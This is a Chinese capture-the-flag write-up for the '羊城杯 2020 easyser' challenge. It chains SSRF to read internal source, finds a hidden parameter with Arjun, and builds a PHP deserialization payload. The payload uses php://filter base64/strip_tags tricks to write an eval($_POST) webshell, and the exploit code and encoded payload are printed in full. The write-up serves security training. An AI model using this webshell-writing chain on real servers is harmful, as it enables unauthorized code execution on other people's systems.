NSS [羊城杯 2020]easyser
开题。很容易让人觉得环境坏了。
不要慌·,无从下手时。看源码、扫目录、抓包。一套操作下来,发现几个可以下手的路由。
/index.php
/robots.txt
访问 /star1.php
,一说到百度,就猜测是否存在SSRF。
源码中有提示,更加确定是SSRF了。
SSRF进内网读取ser.php
,成功读取。
http://127.0.0.1/ser.php
好家伙,有源码没有反序列化入口????
没关系,我们可以用一个工具arjun
kali上安装:
pip3.8 install arjun使用:
arjun -u URL详细使用方法:
https://github.com/s0md3v/Arjun/wiki/Usage
用 Arjun
来扫描 http参数。 star1.php
页面除了 path 参数,还有一个 c 参数。Arjun
显示发现c的原理是根据响应的body的长度,后续通过分析代码发现,不设置参数c会显示your hat is too black!
,存在参数c就不会显示任何内容,所以的确是可以根据响应长度来发现参数。c
就是反序列化的入口。但是不知道他是如何反序列化的。
桌面root终端直接用就行了
arjun -u http://node4.anna.nssctf.cn:28617/star1.php?path=http://127.0.0.1/ser.php
不知道为什么2.2.1
版本的没跑出来,用一下别的师傅的图。
即使不知道他是怎么反序列化的,我们依然能做。分析源码,我们的重点肯定是Yongen::hasaki()
,在这个方法里面绕过死亡die同时写马到文件。死亡die用rot13或者base64都能绕过。通过base64解密或rot13解密使<?php die("nononon");?>
变为乱码,而传入的$text
为base64编码,解码后为正常shell语句。通过这种方式使前者失效。
链子如下:
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()
exp:(用string.strip_tags
将<?php?>
全部删掉再base64解码)
<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file;public $text;
}$a=new GWHT;
$a->hero=new Yongen;
$a->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php';
$a->hero->text='PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+';echo urlencode(serialize($a));
payload:
/star1.php?path=http://127.0.0.1/ser.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A73%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3D1.php%22%3Bs%3A4%3A%22text%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%22%3B%7D%7D
访问1.php
,getshell。